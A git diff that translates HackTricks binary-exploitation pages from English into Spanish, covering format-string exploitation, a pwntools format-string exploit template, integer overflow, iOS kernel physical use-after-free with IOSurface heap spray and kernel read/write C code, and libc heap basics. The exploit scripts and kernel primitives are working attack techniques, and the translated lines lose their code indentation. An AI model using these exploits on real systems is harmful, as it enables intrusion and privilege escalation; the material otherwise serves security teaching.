-Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability: - +Ahora es el momento de encontrar cómo controlar 1 dirección en la pila para acceder a ella desde la segunda vulnerabilidad de formato de cadena: ```python from pwn import * def leak_heap(p): - p.sendlineafter(b"first password:", b"%5$p") - p.recvline() - response = p.recvline().strip()[2:] #Remove new line and "0x" prefix - return int(response, 16) +p.sendlineafter(b"first password:", b"%5$p") +p.recvline() +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +return int(response, 16) for i in range(30): - p = process("./fs-read") +p = process("./fs-read") - heap_leak_addr = leak_heap(p) - print(f"Leaked heap: {hex(heap_leak_addr)}") +heap_leak_addr = leak_heap(p) +print(f"Leaked heap: {hex(heap_leak_addr)}") - password_addr = heap_leak_addr - 0x126a +password_addr = heap_leak_addr - 0x126a - print(f"Try: {i}") - payload = f"%{i}$p|||".encode() - payload += b"AAAAAAAA" +print(f"Try: {i}") +payload = f"%{i}$p|||".encode() +payload += b"AAAAAAAA" - p.sendline(payload) - output = p.clean() - print(output.decode("utf-8")) - p.close() +p.sendline(payload) +output = p.clean() +print(output.decode("utf-8")) +p.close() ``` - -And it's possible to see that in the **try 14** with the used passing we can control an address: +Y es posible ver que en el **try 14** con el paso utilizado podemos controlar una dirección:
### Exploit - ```python from pwn import * p = process("./fs-read") def leak_heap(p): - # At offset 25 there is a heap leak - p.sendlineafter(b"first password:", b"%25$p") - p.recvline() - response = p.recvline().strip()[2:] #Remove new line and "0x" prefix - return int(response, 16) +# At offset 25 there is a heap leak +p.sendlineafter(b"first password:", b"%25$p") +p.recvline() +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +return int(response, 16) heap_leak_addr = leak_heap(p) print(f"Leaked heap: {hex(heap_leak_addr)}") @@ -178,7 +163,6 @@ output = p.clean() print(output) p.close() ``` -
{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/format-strings/format-strings-template.md b/src/binary-exploitation/format-strings/format-strings-template.md index 71e1d4624..3ed740ac3 100644 --- a/src/binary-exploitation/format-strings/format-strings-template.md +++ b/src/binary-exploitation/format-strings/format-strings-template.md @@ -1,7 +1,6 @@ -# Format Strings Template +# Plantilla de Cadenas de Formato {{#include ../../banners/hacktricks-training.md}} - ```python from pwn import * from time import sleep @@ -36,23 +35,23 @@ print(" ====================== ") def connect_binary(): - global P, ELF_LOADED, ROP_LOADED +global P, ELF_LOADED, ROP_LOADED - if LOCAL: - P = process(LOCAL_BIN) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +if LOCAL: +P = process(LOCAL_BIN) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - elif REMOTETTCP: - P = remote('10.10.10.10',1338) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +elif REMOTETTCP: +P = remote('10.10.10.10',1338) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - elif REMOTESSH: - ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) - P = ssh_shell.process(REMOTE_BIN) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(elf)# Find ROP gadgets +elif REMOTESSH: +ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) +P = ssh_shell.process(REMOTE_BIN) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(elf)# Find ROP gadgets ####################################### @@ -60,39 +59,39 @@ def connect_binary(): ####################################### def send_payload(payload): - payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD - log.info("payload = %s" % repr(payload)) - if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") - P.sendline(payload) - sleep(0.5) - return P.recv() +payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD +log.info("payload = %s" % repr(payload)) +if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") +P.sendline(payload) +sleep(0.5) +return P.recv() def get_formatstring_config(): - global P +global P - for offset in range(1,1000): - connect_binary() - P.clean() +for offset in range(1,1000): +connect_binary() +P.clean() - payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" - recieved = send_payload(payload).strip() +payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" +recieved = send_payload(payload).strip() - if b"41" in recieved: - for padlen in range(0,4): - if b"41414141" in recieved: - connect_binary() - payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" - recieved = send_payload(payload).strip() - print(recieved) - if b"42424242" in recieved: - log.info(f"Found offset ({offset}) and padlen ({padlen})") - return offset, padlen +if b"41" in recieved: +for padlen in range(0,4): +if b"41414141" in recieved: +connect_binary() +payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" +recieved = send_payload(payload).strip() +print(recieved) +if b"42424242" in recieved: +log.info(f"Found offset ({offset}) and padlen ({padlen})") +return offset, padlen - else: - connect_binary() - payload = b" " + payload - recieved = send_payload(payload).strip() +else: +connect_binary() +payload = b" " + payload +recieved = send_payload(payload).strip() # In order to exploit a format string you need to find a position where part of your payload @@ -125,10 +124,10 @@ log.info(f"Printf GOT address: {hex(P_GOT)}") connect_binary() if GDB and not REMOTETTCP and not REMOTESSH: - # attach gdb and continue - # You can set breakpoints, for example "break *main" - gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" - sleep(5) +# attach gdb and continue +# You can set breakpoints, for example "break *main" +gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" +sleep(5) format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES) #format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR) @@ -141,5 +140,4 @@ format_string.execute_writes() P.interactive() ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md index cf1a6ca4f..a23dff40a 100644 --- a/src/binary-exploitation/integer-overflow.md +++ b/src/binary-exploitation/integer-overflow.md @@ -1,123 +1,115 @@ -# Integer Overflow +# Desbordamiento de Enteros {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data. +En el corazón de un **desbordamiento de enteros** está la limitación impuesta por el **tamaño** de los tipos de datos en la programación de computadoras y la **interpretación** de los datos. -For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0. +Por ejemplo, un **entero sin signo de 8 bits** puede representar valores de **0 a 255**. Si intentas almacenar el valor 256 en un entero sin signo de 8 bits, se envuelve a 0 debido a la limitación de su capacidad de almacenamiento. De manera similar, para un **entero sin signo de 16 bits**, que puede contener valores de **0 a 65,535**, agregar 1 a 65,535 hará que el valor vuelva a 0. -Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`). +Además, un **entero con signo de 8 bits** puede representar valores de **-128 a 127**. Esto se debe a que un bit se utiliza para representar el signo (positivo o negativo), dejando 7 bits para representar la magnitud. El número más negativo se representa como **-128** (binario `10000000`), y el número más positivo es **127** (binario `01111111`). -### Max values +### Valores máximos -For potential **web vulnerabilities** it's very interesting to know the maximum supported values: +Para las posibles **vulnerabilidades web**, es muy interesante conocer los valores máximos soportados: {{#tabs}} {{#tab name="Rust"}} - ```rust fn main() { - let mut quantity = 2147483647; +let mut quantity = 2147483647; - let (mul_result, _) = i32::overflowing_mul(32767, quantity); - let (add_result, _) = i32::overflowing_add(1, quantity); +let (mul_result, _) = i32::overflowing_mul(32767, quantity); +let (add_result, _) = i32::overflowing_add(1, quantity); - println!("{}", mul_result); - println!("{}", add_result); +println!("{}", mul_result); +println!("{}", add_result); } ``` - {{#endtab}} {{#tab name="C"}} - ```c #include #include int main() { - int a = INT_MAX; - int b = 0; - int c = 0; +int a = INT_MAX; +int b = 0; +int c = 0; - b = a * 100; - c = a + 1; +b = a * 100; +c = a + 1; - printf("%d\n", INT_MAX); - printf("%d\n", b); - printf("%d\n", c); - return 0; +printf("%d\n", INT_MAX); +printf("%d\n", b); +printf("%d\n", c); +return 0; } ``` - {{#endtab}} {{#endtabs}} -## Examples +## Ejemplos -### Pure overflow - -The printed result will be 0 as we overflowed the char: +### Desbordamiento puro +El resultado impreso será 0 ya que desbordamos el char: ```c #include int main() { - unsigned char max = 255; // 8-bit unsigned integer - unsigned char result = max + 1; - printf("Result: %d\n", result); // Expected to overflow - return 0; +unsigned char max = 255; // 8-bit unsigned integer +unsigned char result = max + 1; +printf("Result: %d\n", result); // Expected to overflow +return 0; } ``` +### Conversión de Firmado a No Firmado -### Signed to Unsigned Conversion - -Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation: - +Considere una situación en la que un entero firmado se lee de la entrada del usuario y luego se utiliza en un contexto que lo trata como un entero no firmado, sin la validación adecuada: ```c #include int main() { - int userInput; // Signed integer - printf("Enter a number: "); - scanf("%d", &userInput); +int userInput; // Signed integer +printf("Enter a number: "); +scanf("%d", &userInput); - // Treating the signed input as unsigned without validation - unsigned int processedInput = (unsigned int)userInput; +// Treating the signed input as unsigned without validation +unsigned int processedInput = (unsigned int)userInput; - // A condition that might not work as intended if userInput is negative - if (processedInput > 1000) { - printf("Processed Input is large: %u\n", processedInput); - } else { - printf("Processed Input is within range: %u\n", processedInput); - } +// A condition that might not work as intended if userInput is negative +if (processedInput > 1000) { +printf("Processed Input is large: %u\n", processedInput); +} else { +printf("Processed Input is within range: %u\n", processedInput); +} - return 0; +return 0; } ``` +En este ejemplo, si un usuario introduce un número negativo, se interpretará como un gran entero sin signo debido a la forma en que se interpretan los valores binarios, lo que puede llevar a un comportamiento inesperado. -In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior. - -### Other Examples +### Otros Ejemplos - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection +- Solo se utiliza 1B para almacenar el tamaño de la contraseña, por lo que es posible desbordarlo y hacer que piense que su longitud es de 4, mientras que en realidad es 260 para eludir la protección de verificación de longitud. - [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) - - Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one: +- Dado un par de números, encuentra usando z3 un nuevo número que multiplicado por el primero dará el segundo: - ``` - (((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) - ``` +``` +(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) +``` - [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) - - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections +- Solo se utiliza 1B para almacenar el tamaño de la contraseña, por lo que es posible desbordarlo y hacer que piense que su longitud es de 4, mientras que en realidad es 260 para eludir la protección de verificación de longitud y sobrescribir en la pila la siguiente variable local y eludir ambas protecciones. ## ARM64 -This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). +Esto **no cambia en ARM64** como puedes ver en [**esta publicación del blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). {{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md index dbf5dc009..6aa028d69 100644 --- a/src/binary-exploitation/ios-exploiting.md +++ b/src/binary-exploitation/ios-exploiting.md @@ -1,212 +1,203 @@ # iOS Exploiting -## Physical use-after-free +## Uso físico después de liberar -This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) +Este es un resumen de la publicación de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), además de que se puede encontrar más información sobre la explotación utilizando esta técnica en [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) -### Memory management in XNU +### Gestión de memoria en XNU -The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses don’t directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**. +El **espacio de direcciones de memoria virtual** para procesos de usuario en iOS abarca desde **0x0 hasta 0x8000000000**. Sin embargo, estas direcciones no se mapean directamente a la memoria física. En cambio, el **kernel** utiliza **tablas de páginas** para traducir direcciones virtuales en **direcciones físicas** reales. -#### Levels of Page Tables in iOS +#### Niveles de Tablas de Páginas en iOS -Page tables are organized hierarchically in three levels: +Las tablas de páginas están organizadas jerárquicamente en tres niveles: -1. **L1 Page Table (Level 1)**: - * Each entry here represents a large range of virtual memory. - * It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory. -2. **L2 Page Table (Level 2)**: - * An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB). - * An L1 entry may point to an L2 table if it can't map the entire region itself. -3. **L3 Page Table (Level 3)**: - * This is the finest level, where each entry maps a single **4 KB** memory page. - * An L2 entry may point to an L3 table if more granular control is needed. +1. **Tabla de Páginas L1 (Nivel 1)**: +* Cada entrada aquí representa un amplio rango de memoria virtual. +* Cubre **0x1000000000 bytes** (o **256 GB**) de memoria virtual. +2. **Tabla de Páginas L2 (Nivel 2)**: +* Una entrada aquí representa una región más pequeña de memoria virtual, específicamente **0x2000000 bytes** (32 MB). +* Una entrada L1 puede apuntar a una tabla L2 si no puede mapear toda la región por sí misma. +3. **Tabla de Páginas L3 (Nivel 3)**: +* Este es el nivel más fino, donde cada entrada mapea una única **página de memoria de 4 KB**. +* Una entrada L2 puede apuntar a una tabla L3 si se necesita un control más granular. -#### Mapping Virtual to Physical Memory +#### Mapeo de Memoria Virtual a Física -* **Direct Mapping (Block Mapping)**: - * Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut). -* **Pointer to Child Page Table**: - * If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2). +* **Mapeo Directo (Mapeo por Bloque)**: +* Algunas entradas en una tabla de páginas **mapean directamente un rango de direcciones virtuales** a un rango contiguo de direcciones físicas (como un atajo). +* **Puntero a Tabla de Páginas Hija**: +* Si se necesita un control más fino, una entrada en un nivel (por ejemplo, L1) puede apuntar a una **tabla de páginas hija** en el siguiente nivel (por ejemplo, L2). -#### Example: Mapping a Virtual Address +#### Ejemplo: Mapeo de una Dirección Virtual -Let’s say you try to access the virtual address **0x1000000000**: +Supongamos que intentas acceder a la dirección virtual **0x1000000000**: -1. **L1 Table**: - * The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table. -2. **L2 Table**: - * The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there. -3. **L3 Table**: - * The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page. +1. **Tabla L1**: +* El kernel verifica la entrada de la tabla de páginas L1 correspondiente a esta dirección virtual. Si tiene un **puntero a una tabla de páginas L2**, va a esa tabla L2. +2. **Tabla L2**: +* El kernel verifica la tabla de páginas L2 para un mapeo más detallado. Si esta entrada apunta a una **tabla de páginas L3**, procede allí. +3. **Tabla L3**: +* El kernel busca la entrada final L3, que apunta a la **dirección física** de la página de memoria real. -#### Example of Address Mapping +#### Ejemplo de Mapeo de Direcciones -If you write the physical address **0x800004000** into the first index of the L2 table, then: +Si escribes la dirección física **0x800004000** en el primer índice de la tabla L2, entonces: -* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**. -* This is a **block mapping** at the L2 level. +* Las direcciones virtuales desde **0x1000000000** hasta **0x1002000000** se mapean a direcciones físicas desde **0x800004000** hasta **0x802004000**. +* Este es un **mapeo por bloque** a nivel L2. -Alternatively, if the L2 entry points to an L3 table: +Alternativamente, si la entrada L2 apunta a una tabla L3: -* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table. +* Cada página de 4 KB en el rango de direcciones virtuales **0x1000000000 -> 0x1002000000** sería mapeada por entradas individuales en la tabla L3. -### Physical use-after-free +### Uso físico después de liberar -A **physical use-after-free** (UAF) occurs when: +Un **uso físico después de liberar** (UAF) ocurre cuando: -1. A process **allocates** some memory as **readable and writable**. -2. The **page tables** are updated to map this memory to a specific physical address that the process can access. -3. The process **deallocates** (frees) the memory. -4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free. -5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**. -6. Since the mapping wasn’t removed, the process can still **read and write** to this physical memory. +1. Un proceso **asigna** algo de memoria como **legible y escribible**. +2. Las **tablas de páginas** se actualizan para mapear esta memoria a una dirección física específica a la que el proceso puede acceder. +3. El proceso **desasigna** (libera) la memoria. +4. Sin embargo, debido a un **error**, el kernel **olvida eliminar el mapeo** de las tablas de páginas, aunque marca la memoria física correspondiente como libre. +5. El kernel puede entonces **reasignar esta "memoria física liberada"** para otros propósitos, como **datos del kernel**. +6. Dado que el mapeo no se eliminó, el proceso aún puede **leer y escribir** en esta memoria física. -This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**. +Esto significa que el proceso puede acceder a **páginas de memoria del kernel**, que podrían contener datos o estructuras sensibles, lo que potencialmente permite a un atacante **manipular la memoria del kernel**. -### Exploitation Strategy: Heap Spray +### Estrategia de Explotación: Heap Spray -Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**: +Dado que el atacante no puede controlar qué páginas específicas del kernel se asignarán a la memoria liberada, utilizan una técnica llamada **heap spray**: -1. The attacker **creates a large number of IOSurface objects** in kernel memory. -2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify. -3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page. -4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**. +1. El atacante **crea una gran cantidad de objetos IOSurface** en la memoria del kernel. +2. Cada objeto IOSurface contiene un **valor mágico** en uno de sus campos, lo que facilita su identificación. +3. Ellos **escanean las páginas liberadas** para ver si alguno de estos objetos IOSurface aterrizó en una página liberada. +4. Cuando encuentran un objeto IOSurface en una página liberada, pueden usarlo para **leer y escribir en la memoria del kernel**. -More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) +Más información sobre esto en [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) -### Step-by-Step Heap Spray Process +### Proceso Paso a Paso de Heap Spray -1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value"). -2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page. -3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them: - * Use one field to **read any 32-bit value** in kernel memory. - * Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**. - -Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for: +1. **Rociar Objetos IOSurface**: El atacante crea muchos objetos IOSurface con un identificador especial ("valor mágico"). +2. **Escanear Páginas Liberadas**: Verifican si alguno de los objetos se ha asignado en una página liberada. +3. **Leer/Escribir en la Memoria del Kernel**: Al manipular campos en el objeto IOSurface, obtienen la capacidad de realizar **lecturas y escrituras arbitrarias** en la memoria del kernel. Esto les permite: +* Usar un campo para **leer cualquier valor de 32 bits** en la memoria del kernel. +* Usar otro campo para **escribir valores de 64 bits**, logrando un **primitivo de lectura/escritura estable del kernel**. +Generar objetos IOSurface con el valor mágico IOSURFACE_MAGIC para buscar más tarde: ```c void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { - if (*nClients >= 0x4000) return; - for (int i = 0; i < nSurfaces; i++) { - fast_create_args_t args; - lock_result_t result; - - size_t size = IOSurfaceLockResultSize; - args.address = 0; - args.alloc_size = *nClients + 1; - args.pixel_format = IOSURFACE_MAGIC; - - IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); - io_connect_t id = result.surface_id; - - (*clients)[*nClients] = id; - *nClients = (*nClients) += 1; - } +if (*nClients >= 0x4000) return; +for (int i = 0; i < nSurfaces; i++) { +fast_create_args_t args; +lock_result_t result; + +size_t size = IOSurfaceLockResultSize; +args.address = 0; +args.alloc_size = *nClients + 1; +args.pixel_format = IOSURFACE_MAGIC; + +IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); +io_connect_t id = result.surface_id; + +(*clients)[*nClients] = id; +*nClients = (*nClients) += 1; +} } ``` - -Search for **`IOSurface`** objects in one freed physical page: - +Buscar objetos **`IOSurface`** en una página física liberada: ```c int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { - io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); - int nSurfaceIDs = 0; - - for (int i = 0; i < 0x400; i++) { - spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); - - for (int j = 0; j < nPages; j++) { - uint64_t start = puafPages[j]; - uint64_t stop = start + (pages(1) / 16); - - for (uint64_t k = start; k < stop; k += 8) { - if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { - info.object = k; - info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; - if (self_task) *self_task = iosurface_get_receiver(k); - goto sprayDone; - } - } - } - } - +io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); +int nSurfaceIDs = 0; + +for (int i = 0; i < 0x400; i++) { +spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); + +for (int j = 0; j < nPages; j++) { +uint64_t start = puafPages[j]; +uint64_t stop = start + (pages(1) / 16); + +for (uint64_t k = start; k < stop; k += 8) { +if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { +info.object = k; +info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; +if (self_task) *self_task = iosurface_get_receiver(k); +goto sprayDone; +} +} +} +} + sprayDone: - for (int i = 0; i < nSurfaceIDs; i++) { - if (surfaceIDs[i] == info.surface) continue; - iosurface_release(client, surfaceIDs[i]); - } - free(surfaceIDs); - - return 0; +for (int i = 0; i < nSurfaceIDs; i++) { +if (surfaceIDs[i] == info.surface) continue; +iosurface_release(client, surfaceIDs[i]); +} +free(surfaceIDs); + +return 0; } ``` +### Lograr Lectura/Escritura en el Kernel con IOSurface -### Achieving Kernel Read/Write with IOSurface +Después de lograr el control sobre un objeto IOSurface en la memoria del kernel (mapeado a una página física liberada accesible desde el espacio de usuario), podemos usarlo para **operaciones arbitrarias de lectura y escritura en el kernel**. -After achieving control over an IOSurface object in kernel memory (mapped to a freed physical page accessible from userspace), we can use it for **arbitrary kernel read and write operations**. +**Campos Clave en IOSurface** -**Key Fields in IOSurface** +El objeto IOSurface tiene dos campos cruciales: -The IOSurface object has two crucial fields: +1. **Puntero de Conteo de Uso**: Permite una **lectura de 32 bits**. +2. **Puntero de Marca de Tiempo Indexada**: Permite una **escritura de 64 bits**. -1. **Use Count Pointer**: Allows a **32-bit read**. -2. **Indexed Timestamp Pointer**: Allows a **64-bit write**. +Al sobrescribir estos punteros, los redirigimos a direcciones arbitrarias en la memoria del kernel, habilitando capacidades de lectura/escritura. -By overwriting these pointers, we redirect them to arbitrary addresses in kernel memory, enabling read/write capabilities. +#### Lectura de Kernel de 32 Bits -#### 32-Bit Kernel Read - -To perform a read: - -1. Overwrite the **use count pointer** to point to the target address minus a 0x14-byte offset. -2. Use the `get_use_count` method to read the value at that address. +Para realizar una lectura: +1. Sobrescribe el **puntero de conteo de uso** para que apunte a la dirección objetivo menos un desplazamiento de 0x14 bytes. +2. Usa el método `get_use_count` para leer el valor en esa dirección. ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { - uint64_t args[1] = {surfaceID}; - uint32_t size = 1; - uint64_t out = 0; - IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); - return (uint32_t)out; +uint64_t args[1] = {surfaceID}; +uint32_t size = 1; +uint64_t out = 0; +IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); +return (uint32_t)out; } uint32_t iosurface_kread32(uint64_t addr) { - uint64_t orig = iosurface_get_use_count_pointer(info.object); - iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 - uint32_t value = get_use_count(info.client, info.surface); - iosurface_set_use_count_pointer(info.object, orig); - return value; +uint64_t orig = iosurface_get_use_count_pointer(info.object); +iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 +uint32_t value = get_use_count(info.client, info.surface); +iosurface_set_use_count_pointer(info.object, orig); +return value; } ``` +#### Escritura en el Kernel de 64 Bits -#### 64-Bit Kernel Write - -To perform a write: - -1. Overwrite the **indexed timestamp pointer** to the target address. -2. Use the `set_indexed_timestamp` method to write a 64-bit value. +Para realizar una escritura: +1. Sobrescribe el **puntero de marca de tiempo indexado** a la dirección objetivo. +2. Usa el método `set_indexed_timestamp` para escribir un valor de 64 bits. ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { - uint64_t args[3] = {surfaceID, 0, value}; - IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); +uint64_t args[3] = {surfaceID, 0, value}; +IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); } void iosurface_kwrite64(uint64_t addr, uint64_t value) { - uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); - iosurface_set_indexed_timestamp_pointer(info.object, addr); - set_indexed_timestamp(info.client, info.surface, value); - iosurface_set_indexed_timestamp_pointer(info.object, orig); +uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); +iosurface_set_indexed_timestamp_pointer(info.object, addr); +set_indexed_timestamp(info.client, info.surface, value); +iosurface_set_indexed_timestamp_pointer(info.object, orig); } ``` +#### Resumen del Flujo de Explotación -#### Exploit Flow Recap - -1. **Trigger Physical Use-After-Free**: Free pages are available for reuse. -2. **Spray IOSurface Objects**: Allocate many IOSurface objects with a unique "magic value" in kernel memory. -3. **Identify Accessible IOSurface**: Locate an IOSurface on a freed page you control. -4. **Abuse Use-After-Free**: Modify pointers in the IOSurface object to enable arbitrary **kernel read/write** via IOSurface methods. - -With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices). +1. **Activar Uso-Físico Después de Liberar**: Las páginas liberadas están disponibles para reutilización. +2. **Rociar Objetos IOSurface**: Asignar muchos objetos IOSurface con un "valor mágico" único en la memoria del kernel. +3. **Identificar IOSurface Accesible**: Localizar un IOSurface en una página liberada que controlas. +4. **Abusar del Uso-Físico Después de Liberar**: Modificar punteros en el objeto IOSurface para habilitar **lecturas/escrituras** arbitrarias en el **kernel** a través de métodos IOSurface. +Con estas primitivas, la explotación proporciona **lecturas de 32 bits** y **escrituras de 64 bits** controladas en la memoria del kernel. Los pasos adicionales de jailbreak podrían involucrar primitivas de lectura/escritura más estables, lo que puede requerir eludir protecciones adicionales (por ejemplo, PPL en dispositivos arm64e más nuevos). diff --git a/src/binary-exploitation/libc-heap/README.md b/src/binary-exploitation/libc-heap/README.md index 319126fe0..e6e887e22 100644 --- a/src/binary-exploitation/libc-heap/README.md +++ b/src/binary-exploitation/libc-heap/README.md @@ -2,196 +2,189 @@ ## Heap Basics -The heap is basically the place where a program is going to be able to store data when it requests data calling functions like **`malloc`**, `calloc`... Moreover, when this memory is no longer needed it's made available calling the function **`free`**. +El heap es básicamente el lugar donde un programa podrá almacenar datos cuando solicita datos llamando a funciones como **`malloc`**, `calloc`... Además, cuando esta memoria ya no es necesaria, se pone a disposición llamando a la función **`free`**. -As it's shown, its just after where the binary is being loaded in memory (check the `[heap]` section): +Como se muestra, está justo después de donde se carga el binario en memoria (ver la sección `[heap]`):
